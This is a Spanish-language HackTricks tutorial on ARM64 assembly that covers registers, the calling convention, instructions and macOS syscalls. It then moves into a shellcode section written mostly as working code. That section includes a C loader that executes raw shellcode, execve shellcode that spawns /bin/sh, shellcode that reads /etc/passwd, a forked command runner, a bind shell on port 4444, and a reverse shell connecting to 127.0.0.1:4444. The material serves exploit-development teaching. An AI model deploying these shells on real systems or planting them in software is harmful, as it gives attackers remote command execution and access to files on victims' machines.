23 KiB
Introducción a ARM64
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub HackTricks y HackTricks Cloud.
Introducción a ARM64
ARM64, también conocido como ARMv8-A, es una arquitectura de procesador de 64 bits utilizada en varios tipos de dispositivos incluyendo smartphones, tabletas, servidores e incluso algunos ordenadores personales de gama alta (macOS). Es un producto de ARM Holdings, una empresa conocida por sus diseños de procesadores eficientes en energía.
Registros
ARM64 tiene 31 registros de propósito general, etiquetados de x0
a x30
. Cada uno puede almacenar un valor de 64 bits (8 bytes). Para operaciones que solo requieren valores de 32 bits, se puede acceder a los mismos registros en un modo de 32 bits utilizando los nombres w0 a w30.
x0
ax7
- Se utilizan típicamente como registros temporales y para pasar parámetros a subrutinas.
x0
también lleva el dato de retorno de una función
x8
- En el kernel de Linux,x8
se utiliza como el número de llamada al sistema para la instrucciónsvc
. ¡En macOS se utiliza el x16!x9
ax15
- Más registros temporales, a menudo utilizados para variables locales.x16
yx17
- Registros temporales, también utilizados para llamadas a funciones indirectas y stubs de PLT (Tabla de Enlace de Procedimientos).
x16
se utiliza como el número de llamada al sistema para la instrucciónsvc
.
x18
- Registro de plataforma. En algunas plataformas, este registro está reservado para usos específicos de la plataforma.x19
ax28
- Estos son registros preservados por el llamado. Una función debe preservar los valores de estos registros para su llamador.x29
- Puntero de marco.x30
- Registro de enlace. Contiene la dirección de retorno cuando se ejecuta una instrucciónBL
(Branch with Link) oBLR
(Branch with Link to Register).sp
- Puntero de pila, utilizado para llevar un seguimiento del tope de la pila.pc
- Contador de programa, que apunta a la siguiente instrucción a ejecutarse.
Convención de Llamadas
La convención de llamadas de ARM64 especifica que los primeros ocho parámetros de una función se pasan en los registros x0
a x7
. Parámetros adicionales se pasan en la pila. El valor de retorno se devuelve en el registro x0
, o en x1
también si es de 128 bits. Los registros x19
a x30
y sp
deben ser preservados a través de las llamadas a funciones.
Al leer una función en ensamblador, busca el prólogo y epílogo de la función. El prólogo generalmente implica guardar el puntero de marco (x29
), establecer un nuevo puntero de marco, y asignar espacio en la pila. El epílogo generalmente implica restaurar el puntero de marco guardado y retornar de la función.
Convención de Llamadas en Swift
Swift tiene su propia convención de llamadas que se puede encontrar en https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Instrucciones Comunes
Las instrucciones de ARM64 generalmente tienen el formato opcode dst, src1, src2
, donde opcode
es la operación a realizar (como add
, sub
, mov
, etc.), dst
es el registro de destino donde se almacenará el resultado, y src1
y src2
son los registros de origen. También se pueden usar valores inmediatos en lugar de registros de origen.
mov
: Mover un valor de un registro a otro.- Ejemplo:
mov x0, x1
— Esto mueve el valor dex1
ax0
. ldr
: Cargar un valor de la memoria en un registro.- Ejemplo:
ldr x0, [x1]
— Esto carga un valor de la ubicación de memoria señalada porx1
enx0
. str
: Almacenar un valor de un registro en la memoria.- Ejemplo:
str x0, [x1]
— Esto almacena el valor enx0
en la ubicación de memoria señalada porx1
. ldp
: Cargar Par de Registros. Esta instrucción carga dos registros de ubicaciones de memoria consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro.- Ejemplo:
ldp x0, x1, [x2]
— Esto cargax0
yx1
de las ubicaciones de memoria enx2
yx2 + 8
, respectivamente. stp
: Almacenar Par de Registros. Esta instrucción almacena dos registros en ubicaciones de memoria consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro.- Ejemplo:
stp x0, x1, [x2]
— Esto almacenax0
yx1
en las ubicaciones de memoria enx2
yx2 + 8
, respectivamente. add
: Sumar los valores de dos registros y almacenar el resultado en un registro.- Ejemplo:
add x0, x1, x2
— Esto suma los valores enx1
yx2
y almacena el resultado enx0
. sub
: Restar los valores de dos registros y almacenar el resultado en un registro.- Ejemplo:
sub x0, x1, x2
— Esto resta el valor enx2
dex1
y almacena el resultado enx0
. mul
: Multiplicar los valores de dos registros y almacenar el resultado en un registro.- Ejemplo:
mul x0, x1, x2
— Esto multiplica los valores enx1
yx2
y almacena el resultado enx0
. div
: Dividir el valor de un registro por otro y almacenar el resultado en un registro.- Ejemplo:
div x0, x1, x2
— Esto divide el valor enx1
porx2
y almacena el resultado enx0
. bl
: Saltar con enlace, utilizado para llamar a una subrutina. Almacena la dirección de retorno enx30
.- Ejemplo:
bl myFunction
— Esto llama a la funciónmyFunction
y almacena la dirección de retorno enx30
. blr
: Saltar con Enlace a Registro, utilizado para llamar a una subrutina donde el objetivo está especificado en un registro. Almacena la dirección de retorno enx30
.- Ejemplo:
blr x1
— Esto llama a la función cuya dirección está contenida enx1
y almacena la dirección de retorno enx30
. ret
: Retornar de subrutina, típicamente usando la dirección enx30
.- Ejemplo:
ret
— Esto retorna de la subrutina actual usando la dirección de retorno enx30
. cmp
: Comparar dos registros y establecer las banderas de condición.- Ejemplo:
cmp x0, x1
— Esto compara los valores enx0
yx1
y establece las banderas de condición en consecuencia. b.eq
: Saltar si es igual, basado en la instruccióncmp
anterior.- Ejemplo:
b.eq label
— Si la instruccióncmp
anterior encontró dos valores iguales, esto salta alabel
. b.ne
: Saltar si No es Igual. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no fueron iguales, salta a una etiqueta o dirección.- Ejemplo: Después de una instrucción
cmp x0, x1
,b.ne label
— Si los valores enx0
yx1
no fueron iguales, esto salta alabel
. cbz
: Comparar y Saltar en Cero. Esta instrucción compara un registro con cero, y si son iguales, salta a una etiqueta o dirección.- Ejemplo:
cbz x0, label
— Si el valor enx0
es cero, esto salta alabel
. cbnz
: Comparar y Saltar en No-Cero. Esta instrucción compara un registro con cero, y si no son iguales, salta a una etiqueta o dirección.- Ejemplo:
cbnz x0, label
— Si el valor enx0
no es cero, esto salta alabel
. adrp
: Calcular la dirección de página de un símbolo y almacenarla en un registro.- Ejemplo:
adrp x0, symbol
— Esto calcula la dirección de página desymbol
y la almacena enx0
. ldrsw
: Cargar un valor de 32 bits con signo de la memoria y extender el signo a 64 bits.- Ejemplo:
ldrsw x0, [x1]
— Esto carga un valor de 32 bits con signo de la ubicación de memoria señalada porx1
, extiende el signo a 64 bits y lo almacena enx0
. stur
: Almacenar un valor de registro en una ubicación de memoria, utilizando un desplazamiento desde otro registro.- Ejemplo:
stur x0, [x1, #4]
— Esto almacena el valor enx0
en la dirección de memoria que es 4 bytes mayor que la dirección actualmente enx1
. -
svc
: Realizar una llamada al sistema. Significa "Llamada al Supervisor". Cuando el procesador ejecuta esta instrucción, cambia de modo usuario a modo kernel y salta a una ubicación específica en la memoria donde se encuentra el código de manejo de llamadas al sistema del kernel. - Ejemplo:
mov x8, 93 ; Cargar el número de llamada al sistema para salir (93) en el registro x8.
mov x0, 0 ; Cargar el código de estado de salida (0) en el registro x0.
svc 0 ; Realizar la llamada al sistema.
Prólogo de Función
- Guardar el registro de enlace y el puntero de marco en la pila:
{% code overflow="wrap" %}
stp x29, x30, [sp, #-16]! ; almacenar el par x29 y x30 en la pila y decrementar el puntero de pila
{% endcode %}
2. Establecer el nuevo puntero de marco: mov x29, sp
(establece el nuevo puntero de marco para la función actual)
3. Asignar espacio en la pila para variables locales (si es necesario): sub sp, sp, <tamaño>
(donde <tamaño>
es el número de bytes necesarios)
Epílogo de Función
- Desasignar variables locales (si se asignaron):
add sp, sp, <tamaño>
- Restaurar el registro de enlace y el puntero de marco:
{% code overflow="wrap" %}
ldp x29, x30, [sp], #16 ; cargar el par x29 y x30 de la pila e incrementar el puntero de pila
{% endcode %}
3. Retornar: ret
(devuelve el control al llamador utilizando la dirección en el registro de enlace)
macOS
Llamadas al sistema BSD
Consulta syscalls.master. Las llamadas al sistema BSD tendrán x16 > 0.
Trampas Mach
Consulta syscall_sw.c. Las trampas Mach tendrán x16 < 0, por lo que necesitas llamar a los números de la lista anterior con un menos: _kernelrpc_mach_vm_allocate_trap
es -10
.
También puedes consultar libsystem_kernel.dylib
en un desensamblador para encontrar cómo llamar a estas (y a las de BSD) llamadas al sistema:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
{% hint style="success" %}
A veces es más fácil revisar el código descompilado de libsystem_kernel.dylib
que revisar el código fuente porque el código de varios syscalls (BSD y Mach) se genera mediante scripts (revisa los comentarios en el código fuente), mientras que en la dylib puedes encontrar lo que se está llamando.
{% endhint %}
Shellcodes
Para compilar:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Para extraer los bytes:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Código en C para probar el shellcode
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #includeint (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
</details>
#### Shell
Tomado de [**aquí**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) y explicado.
{% tabs %}
{% tab title="con adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{% endtab %}
{% tab title="con pila" %}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
Leer con cat
El objetivo es ejecutar execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
, por lo que el segundo argumento (x1) es un arreglo de parámetros (lo que en memoria significa una pila de direcciones).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Invocar comando con sh desde un fork para que el proceso principal no se detenga
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell de https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s en el puerto 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
De https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell a 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.